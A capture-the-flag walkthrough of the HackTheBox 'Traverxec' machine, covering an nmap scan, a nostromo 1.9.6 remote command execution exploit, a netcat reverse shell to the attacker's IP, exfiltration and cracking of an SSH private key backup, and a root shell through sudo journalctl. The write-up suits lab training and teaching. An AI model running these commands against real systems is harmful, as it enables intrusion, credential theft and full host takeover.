Traverxec

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.165 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.165 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

As we can see in the nmap report, there is a website on port 80 running nostromo 1.9.6.

Nmap is able to detect the version because of the Server tag in the GET / HTTP response.

curl -I http://10.10.10.165

  • -I show response headers only.

Exploitation

If we search for common exploits associated with nostromo 1.9.6, we'll find a Remote Command Execution exploit.

searchsploit nostromo 1.9.6

Let's move it to our current directory.

searchsploit -m multiple/remote/47837.py

If we try to execute the command whoami we'll see in the response that we are executing commands as the www-data user.

python2 47837.py 10.10.10.165 80 "whoami"

Let's get a proper shell. First, set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, let's use the python exploit to execute a command which will send the netcat listener a reverse shell from the victim machine.

python2 47837.py 10.10.10.165 80 "nc -e /bin/bash 10.10.14.9 4444"

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we start enumerating the system, we'll find the /var/nostromo/conf/.htpasswd file with some password hash.

cat /var/nostromo/conf/.htpasswd

But if we break the hash and get the password, we'll see that the password is not valid for the user david. But if we check the other file in the /var/nostromo/conf/ directory called nhttpd.conf, we'll see at the bottom of the file a home directory called public_www.

cat /var/nostromo/conf/nhttpd.conf

If we check the nostromo documentation, we'll see that the homedirs_public variable is a directory which we can access as the www-data user, and is located under the /home/david/ directory. So, we can't list the home directory of the david user.

ls -l /home/david

But we can list the /home/david/public_www directory.

ls -l /home/david/public_www

Under the protected-file-area directory, we can see a compressed file of the id_rsa key file.

ls -la /home/david/public_www/protected-file-area/

Let's transfer the file to our local machine.

nc -lvnp 6666 > id_rsa.tgz

On the victim machine.

nc 10.10.14.9 6666 < backup-ssh-identity-files.tgz

And decompress it.

tar -xf id_rsa.tgz

We can see what looks like a backup of the david home directory with his id_rsa key.

catn home/david/.ssh/id_rsa

But, as we can see, it is encrypted. Let's try to break it with john. First, let's create the hash for the SSH key.

ssh2john home/david/.ssh/id_rsa > id_rsa_hash

And break it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash

Now we could get a shell as the david user, and then we'll be able to grab the user flag.

ssh -i id_rsa david@10.10.10.165

If we check the home directory, we'll see the bin directory with a few files.

ls -l /home/david/bin

Let's execute the script.

/home/david/bin/server-stats.sh

If we check the bash script, we'll see that it executes the journalctl binary with sudo permissions.

cat /home/david/bin/server-stats.sh

As we didn't have to give any password when we executed the script, we can assume that we can execute the journalctl binary as sudo without having to enter any password. If we search for journalctl on the GTFOBins list, we'll see that we can spawn a shell as the root user.

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions.

https://gtfobins.github.io/

The problem is that we need to have a very small window size in order to spawn the shell.

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

And write the following command.

!/bin/bash

We will have a shell as root, and then all we have to do is reap the harvest and take the root flag.

Last updated

Was this helpful?